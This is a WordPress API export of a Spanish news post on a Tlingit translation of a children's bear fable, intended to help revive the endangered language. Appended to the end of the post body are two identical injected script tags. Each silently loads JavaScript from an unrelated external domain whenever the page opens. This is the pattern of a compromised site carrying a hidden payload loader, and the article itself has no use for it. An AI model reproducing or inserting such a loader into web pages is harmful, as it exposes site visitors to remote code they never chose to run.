{"id":49414,"date":"2011-06-03T20:47:30","date_gmt":"2011-06-03T18:47:30","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=49414"},"modified":"2025-10-21T22:39:24","modified_gmt":"2025-10-21T20:39:24","slug":"19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/","title":{"rendered":"19 de mayo 2011: art\u00edculo en el <i>The Guardian<\/i> titulado \u00ab libros para ni\u00f1os con el fin de salvar una lengua de Alaska \u00bb"},"content":{"rendered":"<p style=\"text-align: justify;\">La lengua <strong>tlingit<\/strong>, hablada en el sudeste de <strong>Alaska<\/strong> y al <strong>oeste de Canad\u00e1<\/strong>, pertenece a la gran <a href=\"http:\/\/www.sorosoro.org\/en\/athabaskan-eyat-tlingit-languages\">familia Atabascana<\/a>. Cuenta<strong> cerca de 400 hablantes<\/strong>\u2026para decir que si est\u00e1 amenazada. As\u00ed como todas las lenguas en peligro, es capital para su supervivencia que siga siendo transmitida a las j\u00f3venes generaciones. Y para convencer a los ni\u00f1os de utilizarla, es necesario que sea tambi\u00e9n un vector de placer y de diversi\u00f3n\u2026<\/p>\n<p style=\"text-align: justify;\">La escritora <strong>Ernestine Hayes<\/strong>, de origen tlingit, lo comprendi\u00f3 bien, y es sin duda lo que la impuls\u00f3 a escribir la <em>Historia del oso de las ciudades y del oso de los campos<\/em>, inspirada en la tan conocida f\u00e1bula de la rata de las ciudades y de la rata de los campos. Este cuento redactado en ingl\u00e9s y destinado a los ni\u00f1os, ha sido traducido en tlingit por ancianos de la tribu. El libro, titulado <em><strong>Aanka X\u00f3odzi ka Aasgutu X\u00f3odzi Shkalneegi<\/strong><\/em>, fue publicado hace un mes.<\/p>\n<div id=\"attachment_49415\" style=\"width: 310px\" class=\"wp-caption alignright\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-49415\" class=\"size-full wp-image-49415\" title=\"AankaXoodziCover\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/AankaXoodziCover2.jpg\" alt=\"AankaXoodziCover\" width=\"300\" height=\"232\" \/><p id=\"caption-attachment-49415\" class=\"wp-caption-text\"> <\/p><\/div>\n<p style=\"text-align: justify;\">El art\u00edculo de <em>The Guardian<\/em> relata tambi\u00e9n la complejidad del paso de una lengua oral a lengua escrita: \u00a1\u00bfc\u00f3mo traducir las palabras \u00ab coche \u00bb, \u00ab cubos de basura anti osos \u00bb o \u00ab hamburguesa \u00bb en una lengua que, desde luego, no conoc\u00eda estas palabras antes de la llegada de los colonos?!<\/p>\n<p style=\"text-align: justify;\">Sea lo que sea, esta publicaci\u00f3n suscita numerosas esperanzas, en particular la de familiarizar a los j\u00f3venes con la lengua, mientras que al mismo tiempo los m\u00e1s viejos desaparecen unos tras otros.<\/p>\n<p style=\"text-align: justify;\">Y el paralelo entre la suerte de los Tlingit y el de los osos de la historia no es dif\u00edcil de establecer. As\u00ed como lo afirma la editora Liz Dodd: \u00ab el cuento de Ernestine les pide a las j\u00f3venes generaciones de hoy que se pregunten de donde vienen, quienes son, y en quienes escoger\u00e1n convertirse, particularmente en cuanto a su relaci\u00f3n con el bosque que los rodea y sus recursos alimentarios siempre abundantes, pero tambi\u00e9n en sus relaciones con sus familias y amigos \u00bb.<\/p>\n<p style=\"text-align: justify;\">Ejemplares gratuitos son distribuidos a los profesores y alumnos de lengua tlingit en el sudeste de Alaska. Una versi\u00f3n audio tambi\u00e9n est\u00e1 disponible.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.guardian.co.uk\/books\/2011\/may\/19\/childrens-book-alaskan-language-tlingit\" target=\"_blank\">Para leer el art\u00edculo completo<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/alaskaice.org\/forest-bear\/\" target=\"_blank\">Para saber m\u00e1s sobre este libro, y descargar gratuitamente la versi\u00f3n audio<\/a><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La lengua tlingit, hablada en el sudeste de Alaska y al oeste de Canad\u00e1, pertenece a la gran familia Atabascana. Cuenta cerca de 400 hablantes\u2026para decir que si est\u00e1 amenazada. As\u00ed como todas las lenguas en peligro, es capital para su supervivencia que siga siendo transmitida a las j\u00f3venes generaciones. Y para convencer a los [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-49414","post","type-post","status-publish","format-standard","hentry","category-noticias"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>19 de mayo 2011: art\u00edculo en el The Guardian titulado \u00ab libros para ni\u00f1os con el fin de salvar una lengua de Alaska \u00bb - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"19 de mayo 2011: art\u00edculo en el The Guardian titulado \u00ab libros para ni\u00f1os con el fin de salvar una lengua de Alaska \u00bb - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"La lengua tlingit, hablada en el sudeste de Alaska y al oeste de Canad\u00e1, pertenece a la gran familia Atabascana. Cuenta cerca de 400 hablantes\u2026para decir que si est\u00e1 amenazada. As\u00ed como todas las lenguas en peligro, es capital para su supervivencia que siga siendo transmitida a las j\u00f3venes generaciones. Y para convencer a los [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-06-03T18:47:30+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:39:24+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/AankaXoodziCover2.jpg\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"19 de mayo 2011: art\u00edculo en el The Guardian titulado \u00ab libros para ni\u00f1os con el fin de salvar una lengua de Alaska \u00bb\",\"datePublished\":\"2011-06-03T18:47:30+00:00\",\"dateModified\":\"2025-10-21T20:39:24+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/\"},\"wordCount\":414,\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/AankaXoodziCover2.jpg\",\"articleSection\":[\"Noticias sobre los idiomas en peligro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/\",\"name\":\"19 de mayo 2011: art\u00edculo en el The Guardian titulado \u00ab libros para ni\u00f1os con el fin de salvar una lengua de Alaska \u00bb - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/AankaXoodziCover2.jpg\",\"datePublished\":\"2011-06-03T18:47:30+00:00\",\"dateModified\":\"2025-10-21T20:39:24+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/#primaryimage\",\"url\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/AankaXoodziCover2.jpg\",\"contentUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/AankaXoodziCover2.jpg\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"19 de mayo 2011: art\u00edculo en el The Guardian titulado \u00ab libros para ni\u00f1os con el fin de salvar una lengua de Alaska \u00bb\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"19 de mayo 2011: art\u00edculo en el The Guardian titulado \u00ab libros para ni\u00f1os con el fin de salvar una lengua de Alaska \u00bb - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/","og_locale":"es_ES","og_type":"article","og_title":"19 de mayo 2011: art\u00edculo en el The Guardian titulado \u00ab libros para ni\u00f1os con el fin de salvar una lengua de Alaska \u00bb - Sorosoro","og_description":"La lengua tlingit, hablada en el sudeste de Alaska y al oeste de Canad\u00e1, pertenece a la gran familia Atabascana. Cuenta cerca de 400 hablantes\u2026para decir que si est\u00e1 amenazada. As\u00ed como todas las lenguas en peligro, es capital para su supervivencia que siga siendo transmitida a las j\u00f3venes generaciones. Y para convencer a los [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/","og_site_name":"Sorosoro","article_published_time":"2011-06-03T18:47:30+00:00","article_modified_time":"2025-10-21T20:39:24+00:00","og_image":[{"url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/AankaXoodziCover2.jpg","type":"","width":"","height":""}],"author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"2 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"19 de mayo 2011: art\u00edculo en el The Guardian titulado \u00ab libros para ni\u00f1os con el fin de salvar una lengua de Alaska \u00bb","datePublished":"2011-06-03T18:47:30+00:00","dateModified":"2025-10-21T20:39:24+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/"},"wordCount":414,"image":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/AankaXoodziCover2.jpg","articleSection":["Noticias sobre los idiomas en peligro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/","name":"19 de mayo 2011: art\u00edculo en el The Guardian titulado \u00ab libros para ni\u00f1os con el fin de salvar una lengua de Alaska \u00bb - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/#primaryimage"},"image":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/AankaXoodziCover2.jpg","datePublished":"2011-06-03T18:47:30+00:00","dateModified":"2025-10-21T20:39:24+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/#primaryimage","url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/AankaXoodziCover2.jpg","contentUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/AankaXoodziCover2.jpg"},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/19-de-mayo-2011-articulo-en-el-the-guardian-titulado-libros-para-ninos-con-el-fin-de-salvar-una-lengua-de-alaska\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"19 de mayo 2011: art\u00edculo en el The Guardian titulado \u00ab libros para ni\u00f1os con el fin de salvar una lengua de Alaska \u00bb"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/49414","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=49414"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/49414\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=49414"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=49414"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=49414"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}